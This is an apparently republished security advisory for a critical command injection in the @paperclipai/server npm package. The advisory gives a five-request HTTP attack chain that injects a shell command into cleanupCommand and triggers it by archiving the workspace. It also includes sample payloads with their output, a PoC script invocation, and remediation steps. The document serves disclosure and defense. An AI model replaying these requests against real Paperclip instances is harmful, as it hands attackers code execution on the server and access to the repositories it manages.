NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · npm

GHSA-vr7g-88fq-vhq3: Paperclip: OS Command Injection via Execution Workspace cleanupCommand

criticalCVSS 3.1 9.8

Field Value -------------- Affected Software Paperclip AI v2026.403.0 Affected Component Execution Workspace lifecycle (workspace-runtime.ts) Affected Endpoint PATCH /api/execution-workspaces/:id Deployment Modes All — localtrusted (zero auth), authenticated (any company user) Platforms Linux, macOS, Windows (with Git installed) Date 2026-04-13 --- Executive Summary A critical OS command injection vulnerability…

Published Apr 16, 2026

Affected packages

@paperclipai/server

Ecosystem
npm
Affected
< 2026.416.0
Fixed in
2026.416.0
Check
npm ls @paperclipai/server

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

| Field | Value |
| **Affected Software** | Paperclip AI v2026.403.0 |
| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |
| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |
| **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) |
| **Platforms** | Linux, macOS, Windows (with Git installed) |
| **Date** | 2026-04-13 |

---

Executive Summary

A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.

Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).

---

Root Cause Analysis

Vulnerable Code Path

`server/src/services/workspace-runtime.ts` (line ~738)

The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:

// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
  await recordWorkspaceCommandOperation(ws, command, ...);
}

// recordWorkspaceCommandOperation() →
const shell = resolveShell();  // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);

Missing Input Validation

`server/src/routes/execution-workspaces.ts` — PATCH handler

The PATCH endpoint accepts a config object containing cleanupCommand with no validation:

PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }

The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.

Shell Resolution

`resolveShell()` returns process.env.SHELL or falls back to "sh":

  • Linux/macOS: /bin/sh exists natively — commands execute immediately
  • Windows: sh.exe is available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, so sh is present on most installations

---

Attack Chain

The exploit requires 5 HTTP requests with zero authentication in local_trusted mode:

Step 1 — Find a Company

GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "59e9248b-...", "name": "Hello", ...}]

Step 2 — Find an Execution Workspace

GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100
[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]

Step 3 — Reactivate Workspace (if archived/failed)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "active"}

Step 4 — Inject cleanupCommand (Command Injection)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}

Response confirms storage:

{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}

Step 5 — Trigger RCE (Archive Workspace)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "archived"}

This triggers cleanupExecutionWorkspaceArtifacts() which calls:

spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])

The injected command is executed with the privileges of the Paperclip server process.

---

Authentication Bypass by Deployment Mode

local_trusted Mode (Default Desktop Install)

Every HTTP request is auto-granted full admin privileges with zero authentication:

// middleware/auth.ts
req.actor = {
  type: "board",
  userId: "local-board",
  isInstanceAdmin: true,
  source: "local_implicit"
};

The boardMutationGuard middleware is also bypassed:

// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
  next();
  return;
}

authenticated Mode

Any user with company access can exploit this vulnerability. The assertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.

---

Proof of Concept — 3 Independent RCE Proofs (Windows 11)

All proofs executed via the automated PoC script poc_paperclip_rce.py.

Proof 1: Arbitrary File Write

Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"

Result:

  +================================================+
  |  VULNERABLE - Arbitrary Code Execution!         |
  |  cleanupCommand was executed on the server      |
  +================================================+

  Proof file: %TEMP%\rce-proof-595c04f7.txt
  Content:    RCE_PROOF_595c04f7
  Platform:   Windows 11

Proof 2: System Command Execution (Data Exfiltration)

Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"

Result:

  +================================================+
  |  System command output captured!                |
  +================================================+

  Host Name:                     [REDACTED]
  OS Name:                       Microsoft Windows 11 Home
  OS Version:                    10.0.26200 N/A Build 26200
  OS Manufacturer:               Microsoft Corporation
  Registered Owner:              [REDACTED]
  Product ID:                    [REDACTED]
  System Manufacturer:           [REDACTED]
  System Model:                  [REDACTED]
  System Type:                   x64-based PC
  ... (72 total lines of system information)

Proof 3: GUI Application Launch (calc.exe)

Payload: calc.exe

Result:

  +================================================+
  |  calc.exe launched! Check your taskbar.         |
  |  This is server-side code execution.            |
  +================================================+

Windows Calculator was launched on the host system by the Paperclip server process.

---

Impact Assessment

| Impact | Description |
| **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process |
| **Data Exfiltration** | Full system info, environment variables, files readable by server process |
| **Lateral Movement** | Attacker can install tools, pivot to internal network |
| **Supply Chain** | Workspaces contain source code — attacker can inject backdoors into repositories |
| **Persistence** | Attacker can create scheduled tasks, install reverse shells |
| **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them |

Attack Scenarios

  1. Desktop user (local_trusted): Any process or malicious web page making local HTTP requests to 127.0.0.1:3100 can achieve RCE with zero authentication
  2. Team deployment (authenticated): Any employee with Paperclip access can compromise the server and all repositories managed by it
  3. Chained attack: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network

---

Remediation Recommendations

Immediate (Critical)

  1. Input validation: Reject or sanitize cleanupCommand and teardownCommand fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.
  1. Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., git clean, rm -rf <workspace_dir>).
  1. Use `execFile` instead of `spawn` with shell: Replace spawn(shell, ["-c", command]) with execFile() using an argument array, which prevents shell metacharacter injection.

Short-term

  1. Authorization check: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.
  1. Separate config fields: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.

Long-term

  1. Sandboxed execution: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.
  1. Audit logging: Log all modifications to command fields for forensic analysis.
  1. Security review: Audit all spawn, exec, and execFile calls across the codebase for similar injection patterns.

---

Proof of Concept Script

Script

poc_paperclip_rce.py

The full automated PoC is available as poc_paperclip_rce.py. It:

  • Auto-detects deployment mode and skips auth for local_trusted
  • Discovers company and workspace automatically
  • Reactivates failed/archived workspaces
  • On Windows, auto-locates sh.exe from Git and restarts Paperclip if needed
  • Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
  • Works on Linux, macOS, and Windows

Usage:

python poc_paperclip_rce.py --target http://127.0.0.1:3100

Credited to YuvalElbar6.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More npm vulnerabilities

All npm entries